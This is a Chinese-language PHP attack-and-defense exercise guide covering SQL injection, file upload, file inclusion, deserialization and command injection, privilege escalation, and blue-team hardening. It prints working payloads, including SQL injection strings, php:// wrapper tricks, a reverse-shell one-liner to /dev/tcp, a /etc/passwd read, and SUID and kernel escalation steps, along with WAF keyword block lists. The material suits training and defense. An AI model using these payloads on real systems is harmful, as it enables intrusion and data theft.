本文目录导读:

- 第一阶段:信息收集与资产测绘(攻击前奏)
- 第二阶段:漏洞挖掘与利用(核心攻击面)
- 第三阶段:权限提升与内网横向(纵深突破)
- 第四阶段:防御视角(蓝队)——如何有效抵御
- 第五阶段:实战演练模拟(经典案例)
- 最后:给攻防演练选手的建议
这是一份关于PHP攻防演练的实战指南,攻防演练(红蓝对抗)的核心是模拟真实攻击,以检验和提升系统的安全性。
我将从攻击视角(红队)和防御视角(蓝队)两个维度,结合PHP特有的常见漏洞,为你拆解演练的要点和实操方法。
第一阶段:信息收集与资产测绘(攻击前奏)
在发起攻击前,需要明确目标系统的指纹。
- 识别PHP版本:
- 通过HTTP响应头(
X-Powered-By: PHP/7.4.3)或页面报错信息获取。 - 演练要点:确认是否存在已知CVE(如PHP 7.x的
CVE-2019-11043(FastCGI配置错误导致远程代码执行))。
- 通过HTTP响应头(
- 识别框架与中间件:
- 区分是原生PHP、ThinkPHP、Laravel 还是 WordPress。
- 关键点:不同框架的默认路由、Debug模式、日志路径各不相同,例如ThinkPHP的RCE(远程代码执行)漏洞多与路由解析有关。
- 目录扫描:
- 探测敏感文件(
/www.zip、/.git、/backup.sql、/phpinfo.php)。
- 探测敏感文件(
第二阶段:漏洞挖掘与利用(核心攻击面)
这是攻防演练的重头戏,以下按PHP漏洞出现频率和危害等级排序:
SQL注入(SQL Injection)
- 漏洞成因:未使用预处理语句(PreparedStatement)或参数化查询,直接拼接用户输入。
- 演练手法:
- 使用
sqlmap进行自动化检测。 - 手工测试:输入 、
1' AND '1'='1观察报错。
- 使用
- 重点利用:
- 绕过登录:
' OR '1'='1' -- - - 报错注入:
updatexml(1,concat(0x7e,database()),1) - 布尔盲注/时间盲注。
- 绕过登录:
- 防御口诀:坚决使用PDO预处理,禁用字符串拼接SQL。
文件上传漏洞(高危)
- 漏洞成因:仅校验前端MIME类型或简单后缀,未校验文件内容(图片马)。
- 演练手法:
- 绕过前端JS校验(Burp Suite抓包改包)。
- 双写扩展名(
shell.php.jpg)、大小写绕过(.PhP)。 - 上传
.htaccess文件(Apache)将.jpg解析为.php。 - 图片马:在PNG头(
\x89\x50\x4E\x47)后加入恶意PHP代码,配合文件包含漏洞进行RCE。
- 防御要点:使用白名单校验(
in_array),重命名文件(使用随机字符串+固定后缀),隔离存储目录并禁止该目录执行PHP脚本。
文件包含漏洞(LFI/RFI)
- 漏洞成因:
include($_GET['page'])未做严格过滤。 - 演练手法:
- 日志投毒:在User-Agent里写入恶意代码,然后通过LFI包含
/var/log/apache2/access.log触发RCE。 - 伪协议:
php://filter/convert.base64-encode/resource=config.php(读取源码);如果开启了allow_url_include,可直接使用php://inputPOST恶意代码。
- 日志投毒:在User-Agent里写入恶意代码,然后通过LFI包含
- 防御要点:禁用远程包含,对包含变量做白名单映射。
反序列化漏洞(重点难点)
- 漏洞成因:
unserialize()用户可控数据且类中存在__wakeup()、__destruct()等魔术方法。 - 演练手法:
- POP链构造:利用框架(如Laravel、ThinkPHP)中已有的Gadgets(可利用的类方法)链,构造恶意对象触发RCE。
- 使用
phpggc工具快速生成针对主流框架的Payload。 - 关键点:这类漏洞隐蔽性强,是高级攻防的必考题。
命令注入/代码执行
- 漏洞成因:
eval()、system()、exec()直接接收了用户输入。 - 演练手法:
system("ping " . $_GET['ip'])-> 输入0.0.1; cat /etc/passwd- 利用
preg_replace的/e修饰符(老版本正则代码执行)。 - 回调函数:
array_map('system', $_GET['cmd'])。
第三阶段:权限提升与内网横向(纵深突破)
拿到Webshell(通常为www-data权限)后,攻击并未结束。
- 反弹Shell:
- PHP一句话:
<?php system('bash -i >& /dev/tcp/你的IP/4444 0>&1'); ?>
- PHP一句话:
- 内核提权:
- 通过
uname -a查看内核版本,寻找对应的EXP(如Dirty COW)。
- 通过
- SUID提权:
find / -perm -4000 -type f 2>/dev/null,寻找/usr/bin/passwd等利用点。
- 数据库提权:
- 如果拿到了MySQL的root权限,可通过 UDF(用户自定义函数) 提权(如
sys_exec函数返回系统命令执行结果)。
- 如果拿到了MySQL的root权限,可通过 UDF(用户自定义函数) 提权(如
第四阶段:防御视角(蓝队)——如何有效抵御
在攻防演练中,攻击方和防御方是动态博弈的,作为防守方,重点做以下几件事:
WAF(Web应用防火墙)规则配置
- 拦截特征:拦截
union select、sleep(3)、eval(、base64_decode等高风险关键词。 - 防绕过:注意编码绕过(URL编码、Unicode编码、注释符混淆),建议使用语义分析型WAF,而不是简单正则匹配。
实时日志审计与溯源
- 开启PHP错误日志和Web访问日志(记录POST请求体)。
- 攻防演练时:当发现可疑流量(如payload),立即回溯攻击者的源头IP和User-Agent,进行反制。
敏感配置加固
- 关闭错误回显:
display_errors = Off,防止路径泄漏。 - 禁用危险函数:在
php.ini中通过disable_functions禁用system、exec、passthru、shell_exec、proc_open等。 - 开启Open_basedir:限制PHP只能访问指定目录,防止跨目录读取。
关键文件的哈希监控
- 对
index.php、.user.ini等文件做MD5哈希值监控,一旦文件被篡改(植入Webshell),可立即告警。
第五阶段:实战演练模拟(经典案例)
场景:假设目标是一个使用原生PHP开发的老旧后台。
-
红队操作步骤:
- 探测:发现
http://target/admin/login.php有登录框,尝试弱口令admin/admin123登录成功。 - 上传:后台有“修改头像”功能,上传一张包含PHP后门的图片马,文件名改为
avatar.php.jpg。 - 绕过:尝试直接访问发现无法执行,寻找文件包含点,发现
index.php?page=view.php。 - 利用:构造
index.php?page=uploads/avatar.php.jpg,因为该路径下文件被Apache解析,同时利用文件包含漏洞,图片马中的PHP代码被成功执行。 - GetShell:上传一个真正的
cmd.php,获取Webshell。 - 提权:查看Linux内核版本,使用脏牛提权获取root权限。
- 探测:发现
-
蓝队防守步骤:
- 在“修改头像”处,服务端校验图片内容(
getimagesize()函数),发现是假图片则拒绝。 - 上传目录禁止执行PHP:在
uploads/.htaccess中写入php_flag engine off。 - 对
index.php的page参数做白名单校验,只允许view.php、edit.php等。
- 在“修改头像”处,服务端校验图片内容(
给攻防演练选手的建议
- 不要只依赖工具:
sqlmap和Burp能帮大忙,但手工理解漏洞原理才能绕过WAF和二次验证。 - 关注逻辑漏洞:越权(改变ID值查看他人订单)、支付漏洞(修改价格参数为负数)、验证码爆破,PHP应用中最容易忽视,也最难防御。
- ThinkPHP、Laravel 框架漏洞:网上的Payload很多,建议直接在本地搭建框架环境进行复现,体会漏洞触发点,这样在实战中能更快找到变体。
如果你有具体的靶场环境或特定的技术点(如“如何构造ThinkPHP的RCE链”),欢迎进一步交流,我可以给你更详细的Payload和代码审计思路。